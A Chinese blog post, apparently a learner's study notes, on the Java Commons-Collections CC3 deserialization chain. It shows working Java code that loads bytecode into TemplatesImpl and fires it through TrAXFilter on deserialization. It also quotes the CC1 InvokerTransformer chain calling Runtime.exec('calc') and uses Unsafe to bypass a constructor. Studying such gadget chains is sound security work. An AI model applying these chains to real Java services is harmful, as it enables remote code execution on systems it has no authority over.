• 关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象


    第一个问题

    今天在又看cc3的时候想不通一个问题,就是关于TrAXFilter这个类,我们看到这个类的构造方法

    public TrAXFilter(Templates templates)  throws
            TransformerConfigurationException
        {
            _templates = templates;
            _transformer = (TransformerImpl) templates.newTransformer();
            _transformerHandler = new TransformerHandlerImpl(_transformer);
            _useServicesMechanism = _transformer.useServicesMechnism();
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    会直接触发templates.newTransformer();,而且这个构造方法是public的,所以我根本不需要再添加其他代码,只需要实例化它就可以直接弹出计算机了,为什么还需要InstantiateTransformer类来实例化它呢?

    package org.example;
    
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javax.xml.transform.TransformerConfigurationException;
    import java.io.*;
    import java.lang.reflect.*;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    
    public class Test1 {
        public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
            TemplatesImpl templates= new TemplatesImpl();
            setFiledValue(templates,"_name","ljl" );
            byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));
            byte[][] codes = {code};
            setFiledValue(templates,"_bytecodes",codes);
            setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());
            TrAXFilter trAXFilter =new TrAXFilter(templates);
            serialize(trAXFilter);
            unserialize("1.bin");
    
        }
    
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
            out.writeObject(obj);
        }
    
        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
            out.readObject();
        }
    
        public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
            Class clazz = object.getClass();
            Field field = clazz.getDeclaredField(name);
            field.setAccessible(true);
            field.set(object,filed_value);
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    运行后可以弹出计算器

    解决

    于是带着这个疑惑问了一下java✌,最后也是学到了很多,不得不说,学到了
    java✌问了我一个问题?
    反序列化的时候会调用这个public的构造方法吗?
    我懵逼了,不懂什么意思
    然后java✌给我讲解了一番,这里我们看看这样一个例子,还记得cc1链
    我们利用Runtime类是这样利用的

    Transformer[] transformers = new Transformer[]{
                    //返回Runtime.class
                    new ConstantTransformer(Runtime.class),
                    //通过反射调用getRuntime()方法获取Runtime对象
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                    //通过反射调用invoke()方法
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    //通过反射调用exec()方法启动notepad
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    但是我们看到Runtime

    public static Runtime getRuntime() {
            return currentRuntime;
        }
    
    • 1
    • 2
    • 3

    是有一个public方法是可以获取到它的,为什么还要这么麻烦呢?
    才想起是因为Runtime是没有继承序列化接口的,所以如果你直接实例化它,它是不能进行序列化的,也就不会反序列化了,所以我们得利用继承了序列化接口的类去搭

    第二个问题

    在讲解的过程中,我们在尝试利用反射去实例化
    TrAXFilter类的时候又发生了一个问题

    public class Test1 {
        public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
            Class clazz = TrAXFilter.class;
            Constructor constructor =clazz.getDeclaredConstructor(null);
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在尝试去反射获取构造方法的时候报错

    Exception in thread "main" java.lang.NoSuchMethodException: com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
    	at java.lang.Class.getConstructor0(Class.java:3082)
    	at java.lang.Class.getDeclaredConstructor(Class.java:2178)
    	at org.example.Test1.main(Test1.java:23)
    
    • 1
    • 2
    • 3
    • 4

    找不到方法,我们尝试了很久,都没有获取到,于是java爷给我讲了一个unsafe类,可以无视构造方法实例化一个类

    public class Test1 {
        public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException {
            Class clazz = Unsafe.class;
            Constructor constructor = clazz.getDeclaredConstructor(null);
            constructor.setAccessible(true);
            Unsafe unsafe = (Unsafe) constructor.newInstance(null);
            Object p=unsafe.allocateInstance(TrAXFilter.class);
            System.out.println(p);
        }
    //输出com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter@74a14482
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    可以发现获取成功了,nice,nice

  • 相关阅读:
    Django ModelForm中使用钩子函数校验数据
    常用vim命令
    解决在Vue项目中无法在Internet Explorer中打开的问题
    一步步教你如何搭建家政小程序+家政管理系统
    jedis连接redis
    Java计算机毕业设计单车商城源码+系统+数据库+lw文档
    扩展我们的分析处理服务(Smartly.io):使用 Citus 对 PostgreSQL 数据库进行分片
    FPN模型
    LeetCode171. Excel Sheet Column Number
    NISP一级考试题库
  • 原文地址:https://blog.csdn.net/2301_79724395/article/details/138199957